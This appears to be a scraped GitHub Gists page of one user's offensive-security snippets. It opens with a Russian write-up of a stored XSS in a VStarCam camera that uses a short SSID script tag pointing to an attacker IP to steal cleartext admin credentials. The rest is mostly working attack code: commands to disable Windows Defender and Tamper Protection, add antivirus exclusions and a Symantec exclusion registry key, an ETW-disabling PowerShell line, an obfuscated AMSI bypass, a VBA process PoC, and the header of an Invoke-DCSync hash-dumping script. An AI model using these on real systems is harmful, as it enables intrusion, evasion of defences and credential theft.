Skip to content

Instantly share code, notes, and snippets.

@fiercebrute
fiercebrute / phq.md
Created May 3, 2018 08:30
phq 2018 writeup

В камере vstarcam-c16s существует возможность беспроводного подключения к сети. Имена точек доступа никак не фильтруются, что сразу приводит нас к хранимой XSS. Из интересных особенностей, SSID точки доступа имеет максимальную длинну в 32 символов, поэтому пришлось ужать тег script до <script src=//YOUR_IP/ /> и поднять собственный веб сервер, который на любой запрос отвечает специальным пэйлоадом.

Так же в камере обращение на эндпоинт /login.cgi возвращает логин и пароль в cleartext. Используя комбинацию двух вышеприведенных уязвимостей можно получить учетные данные администратора, если он нажмет кнопку поиска беспроводных сетей.

В качестве PoC'а было запущено 2 маленьких веб-сервера, один для отправки основного xss пэйдлада, второй для приема данных, а также с телефона была поднята wifi-точка с ip хоста с запущенными серверами <script src=//192.168.2.191/ />. По нажатию кнопки scan, учетные данные администратора отобразятся в cred_handler.py

Disable defender
"c:\program files\windows defender\mpcmdrun.exe" -RemoveDefinitions -All Set-MpPreference -DisableOAVProtection $true
powershell.exe -noprofile -command QUOTED_COMMAND
Ignore malware
'Add-MpPreference -ExclusionPath "c:\"'
Disable AMSI (powershell detection)
@fiercebrute
fiercebrute / sep-directory-exclusion.reg
Created July 17, 2019 10:50 — forked from mgeeky/sep-directory-exclusion.reg
Symantec Endpoint Protection directory exclusion registry key. According to M-Trends 2018, one of techniques used to overcome active AV scanning is to create a directory for files drop and to add it into AV's exclusion via registry.
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Symantec\Symantec Endpoint Protection\AV\Exclusions\ScanningEngines\Directory\Client\1733004144]
"Owner"=dword:00000004
"ProtectionTechnology"=dword:00000001
"FirstAction"=dword:00000011
"SecondAction"=dword:00000011
"DirectoryName"="C:\\to\\be\\excluded\\"
"ThreatName"="C:\\to\\be\\excluded\\"
"ExcludeSubDirs"=dword:00000001
sc config TrustedInstaller binpath= "cmd.exe /C reg add """HKLM\Software\Microsoft\Windows Defender\Features""" /v TamperProtection /t REG_DWORD /d 0 /f" && sc start TrustedInstaller
@fiercebrute
fiercebrute / PCMPBNMBAO_x86_poc.vba
Created March 9, 2021 04:02 — forked from xpn/PCMPBNMBAO_x86_poc.vba
PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON POC via VBA
' POC to spawn process with PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON mitigation enabled
' by @_xpn_
'
' Thanks to https://github.com/itm4n/VBA-RunPE and https://github.com/christophetd/spoofing-office-macro
Const EXTENDED_STARTUPINFO_PRESENT = &H80000
Const HEAP_ZERO_MEMORY = &H8&
Const SW_HIDE = &H0&
Const MAX_PATH = 260
Const PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY = &H20007
@fiercebrute
fiercebrute / KillETW.ps1
Created July 19, 2021 17:27 — forked from tandasat/KillETW.ps1
Disable ETW of the current PowerShell session
#
# This PowerShell command sets 0 to System.Management.Automation.Tracing.PSEtwLogProvider etwProvider.m_enabled
# which effectively disables Suspicious ScriptBlock Logging etc. Note that this command itself does not attempt
# to bypass Suspicious ScriptBlock Logging for readability.
#
[Reflection.Assembly]::LoadWithPartialName('System.Core').GetType('System.Diagnostics.Eventing.EventProvider').GetField('m_enabled','NonPublic,Instance').SetValue([Ref].Assembly.GetType('System.Management.Automation.Tracing.PSEtwLogProvider').GetField('etwProvider','NonPublic,Static').GetValue($null),0)
$A="5492868772801748688168747280728187173688878280688776828"
$B="1173680867656877679866880867644817687416876797271"
[Ref].Assembly.GetType([string](0..37|%{[char][int](29+($A+$B).
substring(($_*2),2))})-replace " " ).
GetField([string](38..51|%{[char][int](29+($A+$B).
substring(($_*2),2))})-replace " ",'NonPublic,Static').
SetValue($null,$true)
@fiercebrute
fiercebrute / HTTP-server
Created November 6, 2021 13:47
Push files here
#!/usr/env python3
import http.server
import socketserver
import io
import cgi
# Change this to serve on a different port
PORT = 80
class CustomHTTPRequestHandler(http.server.SimpleHTTPRequestHandler):
@fiercebrute
fiercebrute / Invoke-DCSync.ps1
Created April 17, 2022 17:34 — forked from monoxgas/Invoke-DCSync.ps1
What more could you want?
This file has been truncated, but you can view the full file.
function Invoke-DCSync
{
<#
.SYNOPSIS
Uses dcsync from mimikatz to collect NTLM hashes from the domain.
Author: @monoxgas
Improved by: @harmj0y